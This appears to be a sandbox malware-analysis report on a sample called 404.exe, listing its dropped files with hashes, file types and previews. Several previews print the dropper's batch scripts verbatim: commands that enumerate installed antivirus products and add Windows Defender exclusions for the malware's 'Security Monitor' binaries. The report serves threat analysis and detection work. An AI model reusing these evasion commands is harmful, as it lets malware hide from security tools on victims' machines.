Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	30376
Entropy (8bit):	6.752744346977093
Encrypted:	false
SSDEEP:	768:84NHPfHCs6GNOpiM+RFjFyzcN23AEoSXMYisio:8anvc+R9F4s8BoaMYi2
MD5:	FD4743E2A51DD8E0D44F96EAE1853226
SHA1:	646CEF384E949AAF61E6D0B243D8D84AB04E79B7
SHA-256:	6535BA91FCCA7174C3974B19D9AB471F322C2BF49506EF03424517310080BE1B
SHA-512:	4587C853871624414E957F083713EC62D50C46B7041F83FAA45DBF99B99B8399FC08D586D240E4BCCEE5EB0D09E1CDCB3FD013F07878ADF4DEFCC312712E468D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P.......................................................................P.......P..(....................L...*...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.909150566837293
Encrypted:	false
SSDEEP:	3:QwZnVCYYYlCK3CbHFwK44NNMhNSjf4ugsrxjEaHiAuCWmqdHZlFABFWFTc5gIV:Qin3Nyb+rANyYDZRZummFZTc/V
MD5:	46D85CB370F0F6D82914A869341C3C25
SHA1:	956D44D64BC8331AE71F823A689EE4723F05BD54
SHA-256:	23FD2BFC7E842DB9ACBE1A6D17CD3F0A714845D8AD5DAC2F126E9337D5DB3062
SHA-512:	8BF8F3682CDE0F9D5C5802C06293F7BD071BA7D917D6F0D069BA34BD32E289E701F5E3021BC56227DD83EDC679A24FD6E4FF1F01F5F8411B5060AFF4B98E0F39
Malicious:	false
Reputation:	unknown
Preview:	for /f "tokens=2 skip=1 delims==" %%i in ('"wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"') do if not %%i == "" echo %%i >> $ywr34c.tmp

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	140
Entropy (8bit):	5.225477485778064
Encrypted:	false
SSDEEP:	3:qia6pdgLxqrZfyM1KJA7yuLWH25PUkh4E2J5xAIzIOneH:DYLxiH18A7y/2923fzICeH
MD5:	39E27DC1FC2518D79983078542A0A18A
SHA1:	063B5415344D8A7EA92F4EBBF82464677137E279
SHA-256:	584A92BE6994A9D182D85FAB6EB7E82962C31389E70AB207D633A1E8F209F235
SHA-512:	081A34E044C98404E1409AD54F500E3CA748C5A87254996D9DCE52ABA0AC8177019BDD29B86E1015333D6BFFFA1F5C190AF6AF93C16A01FF45BD51978541C4BC
Malicious:	false
Reputation:	unknown
Preview:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\iMsgInfo.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\psout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.884815574267147
Encrypted:	false
SSDEEP:	24:nt0vG74xdl/ko+3bdhXUnt0oxdl/ko+3bdhXUn:nt2H+3EntTH+3En
MD5:	6F2313763C1AD9F789FF3A343AD82AA1
SHA1:	8FD79A4E381A7BC0ABBCCF8DE00BA25655CCB029
SHA-256:	39EBF0A3E52E0D2EF8627338D9605F77A2D46B5B324B1E3CAB19CB6DDB43B4AB
SHA-512:	CE53871C80BFC858678553EBA88AC3B79A565F4C3F401ECA9EEB2B37CF0F3FC3CB12ED300B0B31EBAB968E79A0D40785B6CF38F9D4D687677D8CA88E0A2049E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'.+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'.+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\psout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018452
Encrypted:	false
SSDEEP:	24:nt0vG74uEZE/ko+3bdhXUnt0ouEZE/ko+3bdhXUn:nt2ru+3EntTru+3En
MD5:	F764E5A374CB4979A739316DC628B58D
SHA1:	D7BEDF72C871CFC6CE0A2C261B812890926CAF33
SHA-256:	169726FB096AB72851E5E9102B644DBEF534E4F9815B0B67807DC72CCD987380
SHA-512:	D9110A7764933429275AC2DE0E1A3992BE8F263D286006DEDDE3D501C96B1D4934F20F235FF5C7A33E4C81BCFC0CE357F26A276721BCEFB76458D9796032CAE1
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\* ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\* ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\pswd.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.214913894492431
Encrypted:	false
SSDEEP:	24:i+yuEPX+yxdhl+yuEZaX+yxd0YQWl+yxd0YWl+yxd0YDzSl+yuEZ0YQt+yuEZ0Yx:tyrGyRgyrYOyVQWgyVWgyVDzSgyrTQ4Q
MD5:	B5C0E22E10D0BB5B15B14874B2F42EE4
SHA1:	C3F5F239B3948FB6A05B903217AE3502AFE10BB1
SHA-256:	4BB48E85A3E7ACFBD97B42191DECFE4C10A5B89910413A3944B537B3154D7490
SHA-512:	5D325FCF211ABAE2D125CDDE327EAB88289FE8E79778201E311062E9E99D8D670678173968DA7D6E737D8AEB383C3B0EA82AE2A019D55F7ED63D37A7D9DD874F
Malicious:	false
Reputation:	unknown
Preview:	powershell.exe add-mpPreference -ExclusionProcess '404.'..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\' > psout..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\' > psout_p..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' > sout..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' > spsout..powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' > spmmout..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' > sout_p..powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' > spsout_p..powershell.exe add-mpPreference -ExclusionProcess

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\sout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\sout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\spmmout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\spmmout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\spsout

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.910532060752715
Encrypted:	false
SSDEEP:	24:nt0vG74xdM/ko+3bdhXUnt0oxdM/ko+3bdhXUn:nt2s+3EntTs+3En
MD5:	82AC9D66C12DB66A7B11616D6272EE70
SHA1:	0CF1745B4CCF5AD2724252E4AA4795EEA02B98D9
SHA-256:	2E9F5BFFEFD343DC1CACB0281503354CBF0983CBE33FD8672D46B83CBCE439B2
SHA-512:	FCCE3DA264216151DEBA0FFE7D3E6FD586F799CC36FD0AD3767F3F76B9CBC5567115E390A039CA90E446F44A7C1B49EEDB25E7C2772950F33A5EB0B331ECFCF8
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827 ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\spsout_p

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.886334581018453
Encrypted:	false
SSDEEP:	24:nt0vG74uEZj/ko+3bdhXUnt0ouEZj/ko+3bdhXUn:nt2rT+3EntTrT+3En
MD5:	FFF61011A1F9825A688F81389088CE9B
SHA1:	3DA64B96C17BF4C65E4CEE084113806FDC643EC4
SHA-256:	373DB8F54A4A96454377D1700B8F0F58EE15B4549DCC9CAEC328F6A7CAF124A6
SHA-512:	1770C0287CC51AAAA655D6E1937EC8D6794F9D14C2047E61EEAB46A988411BF866EBA3FCE906889CEFD9D2D31A2AEDED403ED6BDEDDFCBE917E95B65182EF3E2
Malicious:	false
Reputation:	unknown
Preview:	add-mpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: .ConfigListExtension..At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .add-mpPreference : Operation failed with the following error: 0x%1!x!.At line:1 char:1.+ add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{ ....+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], . CimException. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference. .

C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\webbrowser.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1286144
Entropy (8bit):	6.249712908749164
Encrypted:	false
SSDEEP:	24576:EtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9Ke:8qTytRFk6ek14h5
MD5:	BFA3F09DEEE00832D000F497EC5B570A
SHA1:	9D4ED9BB876E66258392AA51C9B1C0F67D38A6AE
SHA-256:	F01CFA202969C9FE931CB95E47FF59700F9EB924014ED349E0A731B3B7327518
SHA-512:	A89043F52655EB0E189A5A1F5D72BF049A855D1795D0FA0E66EA949FC6F20A5336154D4A3FC2F3480E132751963C6AF2A68806623EF0651D8CC513BE7E1DCE70
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\nse

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	381
Entropy (8bit):	2.9706434050270967
Encrypted:	false
SSDEEP:	3:qTV2RUHWyoHyXSEXKankN/RUUHEyejVQXXh/VVSWy0jVQX/F8hLBiXF8gXa2FF9G:qUUHW7SMN/nZlnh/aTy2agqrw6TGCn
MD5:	F76CB4E8A45C2638B5020342682F3820
SHA1:	C27E85BB47E72B8B0F8B6098FE9C1A86C076237E
SHA-256:	2786A4A636327A308EC052B62972058EA8BD24A2B0D3B44FB239C0B54856A96D
SHA-512:	C40EC2C8BCBDBFCA7469DC8AEB52DCB696C67792AA554AD5721F8458263D01A1A2504BCAEC6B5973E728A1D11C4FD737131784BB04BBCD166EF8358AE3F5F17F
Malicious:	false
Reputation:	unknown
Preview:	Interface Statistics.... Received Sent....Bytes 1663534110 1893093738..Unicast packets 1584677 624073..Non-unicast packets 0 0..Discards 0 0..Errors 0 0..Unknown protocols 0..

C:\Users\user\AppData\Local\Temp\sfkname.tmp

Download File

Process:	C:\Users\user\Desktop\404.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:SA:SA
MD5:	B2B64FCA22FEA8F710AD9C3E70FF7950
SHA1:	D9FD44AB8A3F64175A53380B311B026007D8E148
SHA-256:	87E634B55253A06A2628486472B7D6EF0C83E72E6C47559F9EDA528928652727
SHA-512:	C38F5DB77DEC59620E1B4F88003A1CC3050C186A253649C258411C78B020B5DEC0DE9FC93BD6A0ADD03EF5351BC7C550AD2AA176AFFAC4BC446D5FF5BA8BD8DA
Malicious:	false
Reputation:	unknown
Preview:	404.exe

C:\Users\user\AppData\Local\Temp\tpl556z6i5ctbzg

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (837), with CRLF line terminators
Category:	dropped
Size (bytes):	839
Entropy (8bit):	5.218751007788738
Encrypted:	false
SSDEEP:	12:+kXdfLZxaekrV4bd/NY9UTRKXVX/6nC5xuEk9fUrJbafNK8Ts8A:ZLZxaFrVYd/NYUwl6I8B9eJbafYOs8A
MD5:	478C722A4FAF49A1964940127A0A18A1
SHA1:	EB560F527FB40AA77822592CB3C6DF60C863EAA4
SHA-256:	2E4CAD758F8071302119BAEC736D24534C715F1F2FD9A3949E109C46A29F22DE
